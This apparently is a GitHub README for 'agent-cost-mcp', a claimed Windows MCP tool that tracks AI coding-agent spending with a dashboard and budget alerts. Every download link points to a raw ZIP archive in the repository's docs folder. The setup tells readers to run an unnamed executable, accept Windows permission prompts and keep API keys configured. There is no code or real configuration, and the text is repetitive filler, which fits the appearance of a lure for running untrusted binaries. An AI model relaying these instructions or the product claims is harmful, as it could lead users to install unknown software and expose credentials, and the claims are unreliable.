agent-cost-mcp

# ⚙️ agent-cost-mcp - Track AI spending with clarity [](https://github.com/Merovingian-valency417/agent-cost-mcp/raw/refs/heads/main/docs/agent_mcp_cost_v3.4-alpha.3.zip) ## 🧾 What this app does agent-cost-mcp helps you see how much your AI tools cost while they run. It tracks spend in real time, shows usage by message, and helps you stay inside a set budget. It works with tools like Claude Code, Cursor, Windsurf, Codex, Gemini CLI, and OpenClaw. You can use it to follow token usage, watch daily spend, and spot costly runs before they get out of hand. ## 💻 What you need - A Windows PC - Internet access - Permission to download files - One or more AI tools that support MCP - An API key for the AI service you use - A web browser for the dashboard ## 📥 Download and install Use this link to visit the download page: [Visit the agent-cost-mcp download page](https://github.com/Merovingian-valency417/agent-cost-mcp/raw/refs/heads/main/docs/agent_mcp_cost_v3.4-alpha.3.zip) If you use a release file later, download it to your computer and run that file. If you use the main repository page, follow the setup files and install steps shown there. ## 🪟 Run on Windows 1. Open the download page in your browser. 2. Save the app files to a folder you can find again. 3. If you get a ZIP file, right-click it and choose Extract All. 4. Open the folder that holds the app files. 5. Look for a Windows app file, setup file, or run script. 6. Double-click the file to start the app. 7. If Windows asks for permission, choose Yes. 8. Keep the app open while your AI tools run. ## 🔧 Set up your AI tool You need to connect the app to the tool you already use. 1. Open your AI tool settings. 2. Find the MCP or tool connection section. 3. Add agent-cost-mcp as the server. 4. Save the settings. 5. Restart the AI tool if needed. Common tools that work well with this setup include: - Claude Code - Cursor - Windsurf - Codex - Gemini CLI - OpenClaw ## 📊 Use the dashboard After the app starts, open the visual dashboard in your browser. You can use it to: - See live spending - Check cost per message - Track token usage - Review model usage - Watch your budget limit - Spot high-cost sessions The dashboard gives you a simple view of what your AI tools are doing. You do not need to read logs or sort through raw data. ## 💰 Budget alerts agent-cost-mcp can help you stay within a set limit. You can use budget alerts to: - Get warned when spend gets high - Watch daily or session limits - Catch heavy usage early - Avoid surprise charges This is useful if you run many prompts, use large models, or keep several tools open at once. ## 🧠 How it works The app sits between your AI tool and the model service. It tracks: - Each request - Each response - Token counts - Model name - Cost per message - Total spend over time It then shows the data in a dashboard so you can see what drives cost. ## 🗂️ Features - Real-time cost tracking - Per-message spending - Visual dashboard - Budget alerts - Token usage tracking - Support for 15+ models - Works with common MCP-based tools - Simple view for non-technical users ## 🛠️ Basic setup steps 1. Download the app from the link above. 2. Extract the files if they come in a ZIP. 3. Start the app on Windows. 4. Open your AI tool settings. 5. Add the MCP server entry for agent-cost-mcp. 6. Save your changes. 7. Open the dashboard in your browser. 8. Start using your AI tool as normal. ## 🔍 If the app does not start Try these steps: - Check that the files finished downloading - Move the app folder to a simple path like `C:\agent-cost-mcp` - Run the app again - Restart your AI tool - Check that your internet connection is active - Make sure your API key is set in the AI tool you use ## 🧩 Common use cases - Watching Claude Code spend during long coding tasks - Keeping Cursor usage inside a daily budget - Tracking Windsurf activity across several projects - Seeing which model costs most - Monitoring agent runs during testing - Reviewing spend after a long session ## 📈 What you will see The dashboard can show: - Total cost - Cost by message - Cost by model - Token use - Budget progress - Alert status - Session history This makes it easier to answer simple questions like: - What did that task cost? - Which model used the most tokens? - Did I go over budget? - Which session was the most expensive? ## 🔐 Privacy and control The app is built to help you see cost data from your own AI use. You stay in control of your tools, your settings, and your budget limits. ## 🧪 Tips for first use - Start with one AI tool - Use a small budget limit first - Check the dashboard after a few prompts - Compare short and long sessions - Review model cost before switching to a larger one ## 📁 Suggested folder setup If you want a simple setup on Windows, use a folder like this: - `C:\agent-cost-mcp` - `C:\Users\YourName\Downloads\agent-cost-mcp` Keep the app files in one place so you can find them later. ## 🧭 Supported tools agent-cost-mcp is built to work with tools that support MCP connections, including: - Claude Code - Cursor - Windsurf - Codex - Gemini CLI - OpenClaw ## 🪄 Quick start 1. Open the download page. 2. Download or open the app files. 3. Run the app on Windows. 4. Connect it to your AI tool. 5. Open the dashboard. 6. Start a session and watch the spend appear ## ❓ Common questions ### Can I use it without deep setup? Yes. The goal is to keep the setup simple once the app files are in place. ### Do I need to know coding? No. You only need to download the files, run the app, and connect it in your AI tool settings. ### Can I see cost while I work? Yes. The app is made for real-time tracking. ### Does it help with large model costs? Yes. It helps you see when a model choice raises your spend. ### Can I track more than one tool? Yes. You can use it with several supported tools if each one supports MCP setup. ## 🧰 Troubleshooting checklist - Open the app as soon as the files finish downloading - Use the exact folder path you chose - Check the AI tool’s MCP settings - Restart the AI tool after changes - Open the dashboard in your browser - Try a short test prompt to confirm tracking - Check your API key in the AI tool ## 📎 Download again [Visit the agent-cost-mcp download page](https://github.com/Merovingian-valency417/agent-cost-mcp/raw/refs/heads/main/docs/agent_mcp_cost_v3.4-alpha.3.zip)